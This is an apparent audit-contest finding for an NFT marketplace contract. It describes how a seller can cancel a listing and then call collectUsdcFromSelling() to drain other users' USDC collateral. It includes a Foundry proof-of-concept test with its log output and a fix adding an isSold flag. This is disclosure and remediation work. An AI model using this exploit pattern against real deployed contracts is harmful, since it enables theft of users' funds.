NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

### [C-2] `collectUsdcFromSelling()` does not distinguish between sold and cancelled listings, allowing any seller to drain contract funds

Author Revealed upon completion

Description: collectUsdcFromSelling() only checks !listing.isActive, but isActive = false is set both when an NFT is sold (buy()) and when a listing is cancelled (cancelListing()). There is no field tracking whether a sale actually occurred. A seller can cancel their listing and then call collectUsdcFromSelling() to collect listing.price - fees USDC that was never deposited by any buyer.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
// No check: was the NFT actually sold, or just cancelled?
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// ...
usdc.safeTransfer(msg.sender, amountToSeller); // drains other users' funds
}

Impact: Any seller can drain the contract's USDC by listing at a high price, cancelling, and then calling collectUsdcFromSelling(). Other users' collateral and sale proceeds are at risk.

Proof of Concept:

Victims mint NFTs depositing collateral into the contract. The attacker mints one NFT, lists at an inflated price, cancels (recovering their own collateral via the C-1 bug), then calls collectUsdcFromSelling() to drain listing.price - fees from the contract — funds that were never paid by any buyer.

Run forge test --match-test test_poc_C2 -vvv to see the following output:

Logs:
After victims mint 5 NFTs:
Contract USDC: 100000000
After attacker list + cancel:
Attacker USDC: 20000000
Contract USDC: 100000000
After attacker collectUsdcFromSelling:
Attacker USDC: 119000000
Contract USDC: 1000000
Fees collected: 1000000

The attacker started with 20 USDC, recovered it via cancel, then stole 99 USDC from victims' collateral — net profit of 99 USDC with no buyer ever involved. The contract went from 100 USDC to 1 USDC (only fees remain).

PoC Test Code
function test_poc_C2_collectAfterCancelDrainsContractFunds() public {
// Setup
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(userWithCash);
nftDealers.whitelistWallet(userWithEvenMoreCash);
vm.stopPrank();
​
// Victims mint 5 NFTs, depositing 100 USDC collateral into the contract
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 5 * 20e6);
for (uint256 i = 0; i < 5; i++) {
nftDealers.mintNft();
}
vm.stopPrank();
​
console.log("After victims mint 5 NFTs:");
console.log(" Contract USDC:", usdc.balanceOf(address(nftDealers)));
​
// Attacker mints 1 NFT (tokenId=6), paying 20 USDC collateral
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
​
// Attacker lists at 100 USDC then cancels
// cancelListing returns attacker's 20 USDC collateral (C-1 bug)
vm.prank(userWithCash);
nftDealers.list(6, uint32(100e6));
vm.prank(userWithCash);
nftDealers.cancelListing(6);
​
console.log("After attacker list + cancel:");
console.log(" Attacker USDC:", usdc.balanceOf(userWithCash));
console.log(" Contract USDC:", usdc.balanceOf(address(nftDealers)));
​
// Attacker calls collectUsdcFromSelling — listing is inactive (cancelled, not sold)
// No buyer ever paid, but attacker drains listing.price - fees from contract
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(6);
​
uint256 fees = nftDealers.calculateFees(100e6); // 1% = 1 USDC
​
console.log("After attacker collectUsdcFromSelling:");
console.log(" Attacker USDC:", usdc.balanceOf(userWithCash));
console.log(" Contract USDC:", usdc.balanceOf(address(nftDealers)));
console.log(" Fees collected:", nftDealers.totalFeesCollected());
​
// Attacker recovered 20 USDC (cancel) + stole 99 USDC (collect) = 119 USDC
// Started with 20 USDC, net profit = 99 USDC stolen from victims' collateral
assertEq(usdc.balanceOf(userWithCash), 20e6 + (100e6 - fees));
}

Recommended Mitigation: Add an isSold boolean field to the Listing struct. Set it to true only in buy(). Require listing.isSold == true in collectUsdcFromSelling().

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold;
}
​
function buy(uint256 _listingId) external payable {
// ...
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].isSold = true;
// ...
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.isSold, "NFT must be sold to collect USDC");
// ...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!